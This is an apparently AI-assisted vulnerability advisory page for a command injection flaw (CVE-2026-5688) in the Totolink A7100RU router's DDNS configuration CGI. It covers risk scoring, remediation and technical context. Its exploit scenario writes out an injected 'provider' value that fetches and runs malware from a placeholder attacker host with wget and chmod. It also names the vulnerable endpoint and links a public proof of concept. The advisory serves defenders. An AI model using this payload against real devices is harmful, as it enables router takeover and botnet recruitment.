Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | Real-world risk is HIGH despite moderate CVSS 7.3 score. Critical risk factors include: (1) Attack vector is network-based (AV:N) with low complexity (AC:L) requiring no authentication (PR:N) or user interaction (UI:N), making exploitation trivial for any attacker with network access to the device's web interface; (2) Publicly available exploit code exists on GitHub, lowering the skill barrier for exploitation; (3) Command injection vulnerabilities in router firmware are frequently targeted by botnet operators for device compromise and DDoS recruitment. Mitigating factors: (1) No CISA KEV listing indicates no confirmed widespread exploitation campaigns; (2) Limited impact scope (C:L/I:L/A:L) suggests partial compromise rather than full system control, though command injection typically enables privilege escalation; (3) Attack surface limited to organizations using this specific Totolink router model. The CVSS Exploit Maturity (E:P) confirms proof-of-concept code availability. SSVC framework assessment: exploitation status is POC, automatable attack (no interaction needed), technical impact is partial across CIA triad. This qualifies as a priority vulnerability for any organization using affected devices, particularly those with internet-exposed management interfaces. |
| Exploit ScenarioDerived | An external attacker scans internet-facing IP ranges for Totolink A7100RU devices with exposed web management interfaces on port 80 or 443. Upon identifying a vulnerable device, the attacker crafts a malicious HTTP request to /cgi-bin/cstecgi.cgi targeting the setDdnsCfg function with a poisoned 'provider' parameter containing shell metacharacters and commands (e.g., provider=';wget http://attacker.com/malware -O /tmp/bot; chmod +x /tmp/bot; /tmp/bot;'). The unsanitized input executes arbitrary commands with the privileges of the web server process, allowing the attacker to download and execute botnet malware, establish persistent backdoor access, exfiltrate network configuration data including WiFi credentials, or pivot to attack other devices on the internal network. The publicly available GitHub POC (https://github.com/Litengzheng/vuldb_new/blob/main/A7100RU/vul_186/README.md) provides ready-to-use exploit code lowering technical barriers for mass exploitation campaigns. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 06, 2026
OS command injection in Totolink A7100RU router firmware version 7.4cu.2313_b20191024 allows unauthenticated remote attackers to execute arbitrary system commands via the 'provider' parameter in the setDdnsCfg function of /cgi-bin/cstecgi.cgi. Publicly available exploit code exists (GitHub POC) demonstrating practical exploitation. With CVSS 7.3 and network-accessible attack vector requiring no authentication or user interaction, this represents a significant risk to exposed devices, though no active exploitation confirmed by CISA KEV at time of analysis.
RemediationAI
No vendor-released patch identified at time of analysis based on available references. Primary mitigation: immediately restrict network access to the router's web management interface at /cgi-bin/cstecgi.cgi by disabling remote administration features and ensuring management access is only available from trusted internal networks, never from WAN/internet. Implement firewall rules blocking external access to TCP ports 80/443 on the device. Secondary measures: monitor Totolink vendor site (https://www.totolink.net/) and security advisories from VulDB (https://vuldb.com/vuln/355515) for firmware updates addressing CVE-2026-5688. If patched firmware becomes available, upgrade immediately following vendor instructions. Organizations with high-risk exposure should consider replacing affected devices with alternative routers that receive active security support. Implement network segmentation to isolate IoT/router infrastructure from critical systems to limit potential pivot opportunities if device is compromised.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability exploits CWE-78 (OS Command Injection) in the web management interface of the Totolink A7100RU wireless router. The setDdnsCfg function in /cgi-bin/cstecgi.cgi CGI script fails to properly sanitize the 'provider' parameter before passing it to system shell commands. This is a common vulnerability class in embedded device firmware where CGI scripts use dangerous functions like system(), popen(), or exec() without input validation. The affected CPE (cpe:2.3:a:totolink:a7100ru) indicates this impacts the router's application firmware layer. DDNS (Dynamic DNS) configuration interfaces are particularly vulnerable as they often construct system commands to update DNS records, and improper input handling allows attackers to inject arbitrary shell metacharacters and command sequences. The vulnerability exists in firmware version 7.4cu.2313_b20191024 built in October 2019, suggesting legacy code without modern secure coding practices.
Know when A7100Ru gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (VulDB) · only source for this CVE.
CVSS VectorVendor: VulDB
Lifecycle Timeline
3DescriptionCVE.org
A security vulnerability has been detected in Totolink A7100RU 7.4cu.2313_b20191024. Impacted is the function setDdnsCfg of the file /cgi-bin/cstecgi.cgi. Such manipulation of the argument provider leads to os command injection. The attack may be launched remotely. The exploit has been disclosed publicly and may be used.
Executive ViewAI
Totolik A7100RU routers running firmware 7.4cu.2313_b20191024 are vulnerable to unauthenticated remote command execution via the DDNS configuration interface, allowing attackers to gain complete control over affected devices without credentials or user interaction. This vulnerability directly threatens network perimeter security and any organization relying on these routers for internet connectivity or network segmentation, as compromised devices can serve as entry points for lateral movement and data exfiltration.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict WAN access to the router's web interface and /cgi-bin/cstecgi.cgi endpoint using firewall rules, allowing only trusted administrative IP ranges; (2) Disable DDNS functionality if not operationally required; (3) Place affected routers behind a reverse proxy or WAF configured to block 'provider' parameter injection patterns; (4) Monitor router access logs and process execution for anomalous system commands; (5) Segment router management traffic from general network traffic using VLANs; (6) Evaluate replacement with vendor-supported equipment on extended support lifecycle as permanent solution.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Command injection in Totolink A7100RU router firmware 7.4cu.2313_b20191024 allows unauthenticated remote attackers to ex
OS command injection in Totolink A7100RU router firmware 7.4cu.2313_b20191024 allows unauthenticated remote attackers to
OS command injection in Totolink A7100RU router firmware 7.4cu.2313 allows unauthenticated remote attackers to execute a
OS command injection in Totolink A7100RU router firmware 7.4cu.2313_b20191024 allows unauthenticated remote attackers to
OS command injection in Totolink A7100RU router firmware 7.4cu.2313_b20191024 allows unauthenticated remote attackers to
OS command injection in Totolink A7100RU firmware 7.4cu.2313_b20191024 allows unauthenticated remote attackers to execut
OS command injection in Totolink A7100RU router firmware version 7.4cu.2313_b20191024 allows unauthenticated remote atta
OS command injection in Totolink A7100RU router firmware 7.4cu.2313_b20191024 allows unauthenticated remote attackers to
OS command injection in Totolink A7100RU router version 7.4cu.2313_b20191024 allows unauthenticated remote attackers to
OS command injection in Totolink A7100RU router firmware 7.4cu.2313_b20191024 allows unauthenticated remote attackers to
OS command injection in Totolink A7100RU router firmware (version 7.4cu.2313_b20191024) allows unauthenticated remote at
OS command injection in Totolink A7100RU router version 7.4cu.2313_b20191024 allows unauthenticated remote attackers to
EUVD-2026-19547
GHSA-r8h7-vx32-9qj2
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB